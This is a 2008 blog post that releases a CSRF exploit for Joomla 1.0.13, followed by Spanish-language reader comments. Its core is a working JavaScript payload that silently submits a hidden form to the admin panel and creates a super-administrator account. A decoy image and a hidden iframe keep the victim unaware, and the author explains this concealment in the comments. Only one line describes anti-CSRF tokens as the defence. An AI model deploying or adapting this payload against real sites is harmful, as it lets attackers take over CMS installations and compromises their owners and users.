Joomla 1.0.13 exploit

Last year I announced that I found a vulnerability in the popular Joomla CMS . I contacted a developer and he told me, very professionally and quickly, that they will fix the hole and then he will let me know. The developer never contacted me again.

Today is January 8, it's been almost 3 months and I think its time to release my exploit, I hope the vulnerability is fixed now.

<script type="text/javascript">
window.onload = function() {
    var url = "http://joomlasite.com/joomla/administrator/index2.php";

    var gid = 25;
    var user = 'xiam';
    var pass = 'pass';
    var email = 'xiamkong@yahoo.com.mx';
   
    var param = {
        name: user,
        username: user,
        email: email,
        password: pass,
        password2: pass,
        gid: gid,
        block: 0,
        option: 'com_users',
        task: 'save',
        sendEmail: 1
    };

    var form = document.createElement('form');
    form.action = url;
    form.method = 'post';
    form.target = 'hidden';
    form.style.display = 'none';

    for (var i in param) {
        try {
            // ie
            var input = document.createElement('<input name="'+i+'">');
        } catch(e) {
            // other browsers
            var input = document.createElement('input');
            input.name = i;
        }
        input.setAttribute('value',  param[i]);
        form.appendChild(input);
    }
    document.body.appendChild(form);

    form.submit();
}
</script>

<iframe name="hidden" style="display: none"></iframe>

<img src="http://www.more4kids.info/uploads/Image/Carebears-Cover.jpg">

And the bugtraq note .

This vulnerability is known as CSRF (Cross Site Request Forgery).

You can protect your application against CSRF by including a little token in all your form requests, this token is nothing more than an extra variable (random filled), it would be checked against a session variable just before performing the requested action.

Related topics

{ hacking, buzzword, javascript }

About the author

xiam

José Carlos Nieto is a nerd that pretends to be a Math student (UNAM), he works with his friends creating amazing stuff at Astrata Software.

Comments

Wednesday January 9, 2008 @ 23:56

David Valdez

Tengo unas preguntas para ti:

1. Creo entender completamente el script, todo menos el último iframe que pusiste ¿para que sirve? :S

2. O soy yo ¿ o usaste JS para verte mas l33t? por lo que veo ese form podría hacerse a base de html a manita y darle click a manita en el botón submit, ¿es así?

Chido!

Thursday January 10, 2008 @ 07:08

xiam

Jajaja más 1337 al menos no me dijiste raro como el zodman.

El ataque sería: tu conoces a un admin, sabes que está en sesión administrando su sitio, le envías un link al que el debe dar click, da click y Pwn3d.

1. Lo puse por que el admin no se debe dar cuenta de lo que está haciendo, abajo del iframe viene una imagen de los “ositos cariñositos”, y éste iframe tiene un parámetro “name” (valor hidden), en la línea 24 le digo al form que use de target ese iframe en vez de la página completa con la intención de que cuando carge el exploit la víctima vea solo la imagen y el form se envíe (usando el iframe y no la ventana completa) sin hacerle saber lo que pasa.

2. Pues si jeje, se puede hacer con html pero con javascript puedo reutilizar, cambiar nombres y valores para otras cosas además de configurarlo. Pero creo que habría que tener un onload con el submit de todas formas :P.

Thursday January 10, 2008 @ 13:48

David Valdez

Claro ya caigo, entonces para que funcione le script las condiciones son las siguientes:

1. El administrador de joomla debe de estar logado

2. El administrador debe de ser el que ejecute el script ¿correcto?

Perfecto, excelente code.

PD. Entonces ahora tiene mas lógica el por que se hace todo con JS, así que con solo el administrador “aparentemente” mire la imagen se inserta el usuario a su joomla.

Orale!!!! muy ingenioso, Un saludo


Welcome